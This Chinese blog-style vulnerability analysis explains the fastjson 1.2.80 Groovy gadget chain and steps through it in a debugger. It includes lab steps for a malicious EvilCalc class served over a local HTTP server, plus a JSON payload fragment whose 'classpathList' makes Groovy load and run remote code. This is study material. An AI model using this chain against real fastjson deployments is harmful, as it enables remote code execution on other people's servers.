沉浸式体验 fastjson1.2.80的Groovy利用链
本文已制作成视频带大家沉浸式体验 fastjson1.2.80的Groovy利用链
该漏洞为浅蓝师傅在kcon2022的《Hacking JSON》议题中提出来的,下面给出会议ppt的链接
https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf
一、 漏洞绕过原理
该漏洞适用的fastjson版本为 ( 1.2.72 , 1.2.80 ]
在学习漏洞之前,我们需要了解一些前置知识
- 前置知识1:类继承自期望类,且不在黑名单,就可以被fastjson正常的反序列化并加入到缓存
判断当前类继承自期望类,加载该类并加入缓存对应代码在ParserConfig#checkAutoType
中:
- 前置知识2:fastjson在1.2.73版本的修改中,对方法
JavaBeanDeserializer#createInstance
进行了修改。当类属性与显示指定的期望类不相同时,会对该类属性进行实例化,被实例化之后的属性(包括setter方法的参数、public field参数或者是构造方法的参数)的类型会被添加到反序列化缓存TypeUtils.mappings中。
关于JavaBean 实例化机制:
在1.2.80版本的漏洞中,我们使用Throwable
作为期望类,因为Throwable
类及其子类对应的反序列化器为ThrowableDeserializer
那么我们来看ThrowableDeserializer
这个类的deserialze
方法,其中调用checkAutoType
方法且设置了期望类。
然后通过getDeserializer拿到对应的反序列化器,然后用反序列化器拿到对应字段的字段反序列化实例fieldDeserializer
如果value不是fieldClass类型的会进入TypeUtils#cast
进行类型转换
在这个函数中会根据传入对象的具体类型来进行对应的类型转换操作,然后进入TypeUtils#castToJavaBean
其中调用了JavaBeanDeserializer#createInstance
方法,也就是我们在前置知识2中讲到的
因此,我们可以根据以下条件查找满足条件的gadget
- 类为Throwable的子类;
- setter方法的参数类型、public field参数类型或者是构造方法的参数类型,实例化之后的类可利用。
二、Groovy利用链分析
下面来具体分析一下Groovy这条链
1.搭建复现环境
pom添加依赖
1 | <dependency> |
首先构造恶意类EvilCalc
,编译该类,然后将EvilCalc.class
放到任意目录下
1 | import org.codehaus.groovy.ast.ASTNode; |
在该目录下启动一个http服务
1 | python -m http.server 8080 --bind 127.0.0.1 |
然后在该目录下创建一个META-INF/services/org.codehaus.groovy.transform.ASTTransformation
文件,在文件中写入恶意类的名称;
创建测试类,写入如下代码
1 | public static void main(String[] args) { |
对应的json字符串为:
1 | { |
运行测试类,弹出计算器为成功
2.调试并分析漏洞利用过程(payload1)
当识别到json字符串中的@type
时,进入checkAutoType
方法,当前要加载的类为java.lang.Exception
在该方法中,直接从Mapping中取出Exception类(在TypeUtils
类加载之后mapping中会添加一些类,包括Exception类)
然后回到DefaultJSONParser
类继续执行,根据拿到的类java.lang.Exception
获取反序列化器
因为java.lang.Exception
是继承 Throwable
类的,所以获取到的是ThrowableDeserializer
类型的反序列化器;
拿到反序列化器后,会调用其deserialze
方法
也就是调用ThrowableDeserializer
的deserialze
方法,其中会获取到第二个@type字段中的类名,带入checkAutoType(),并且把Throwable.class
作为期望类。
跟进checkAutoType()
方法,先设置expectClassFlag
为 true
然后判断类是否在黑名单
最后会加载类org.codehaus.groovy.control.CompilationFailedException
,然后将其放入Mapping
加载之后回到ThrowableDeserializer#deserialze
,调用TypeUtils.cast
处理类属性。
然后就是我们在前面的漏洞原理讲的,调用到castToJavaBean
然后在castToJavaBean
方法中调用了getDeserializer
获取了一个javaBean反序列化器,并且调用了createInstance
方法对该类属性进行实例化
在调用getDeserializer
时,会将ProcesssingUnit
对应的反序列化器加入到deserializers
中
之后会调用setValue
,但是我们给的值为空,所以触发异常
最后会在测试类中抛出异常,捕获异常并进入payload2
1 | catch (Exception e){ |
3.调试并分析漏洞利用过程(payload2)
同样,识别到key为”@type”时,设置typeName
为其值”org.codehaus.groovy.control.ProcessingUnit
“
然后同样进入checkAutoType
方法
那这个类怎么加载呢,往前翻一下看到我加粗的地方,图片放下面:
再回到checkAutoType
方法,根据typeName
从deserializers
取出Class类型的对象org.codehaus.groovy.control.ProcessingUnit
然后获取其对应的反序列化器,调用JavaBeanDeserializer
类的deserialze
方法
继续跟进deserialze
方法,设置typeName
为org.codehaus.groovy.tools.javac.JavaStubCompilationUnit
设置期望类为class org.codehaus.groovy.control.ProcessingUnit
,然后进入checkAutoType
这里会像之前一样,在checkAutoType
中调用TypeUtils.loadClass
加载类然后调用TypeUtils.addMapping
将其加入mapping。然后调用JavaBeanDeserializer
类的deserialze
方法
跟进deserialze
方法,调用了parseField
方法
进入parseField
方法,先获得一个fieldValueDeserilizer
,用来解析json字符串"@type":"org.codehaus.groovy.control.CompilerConfiguration", "classpathList":"http://127.0.0.1:8080/"
。然后调用deserialze
方法反序列化类CompilerConfiguration
。
我们可以看到,调用deserialze
方法后,value为一个CompilerConfiguration
类型的对象,且属性classpath
被赋值为http://127.0.0.1:8080/
接着下面就是把CompilerConfiguration
对象赋给JavaStubCompilationUnit
的config
参数;
然后使用反射拿到一个Constructor
,调用构造方法创建一个实例,传入的参数为params,分别是刚才的CompilerConfiguration
对象和两个null
然后跟进JavaStubCompilationUnit
的构造方法,其中先调了父类的构造方法
在构造方法中调用setClassLoader
方法,该方法设置classLoder为一个新创建的GroovyClassLoader
类的实例
在GroovyClassLoader
的构造方法中,会从config中获取classpath添加进GroovyClassLoader对象;
然后从addPhaseOperations
方法调用到getResources
方法
在该方法中会使用双亲委派的方式加载远程资源,然后调用findResources
方法
加载到之后会把其中的内容放到transformNames
中
然后调用addPhaseOperationsForGlobalTransforms
方法
跟进方法,在该方法中对transformNames
中的类进行加载并实例化
在实例化时调用EcilCalc
类的构造方法,触发恶意操作。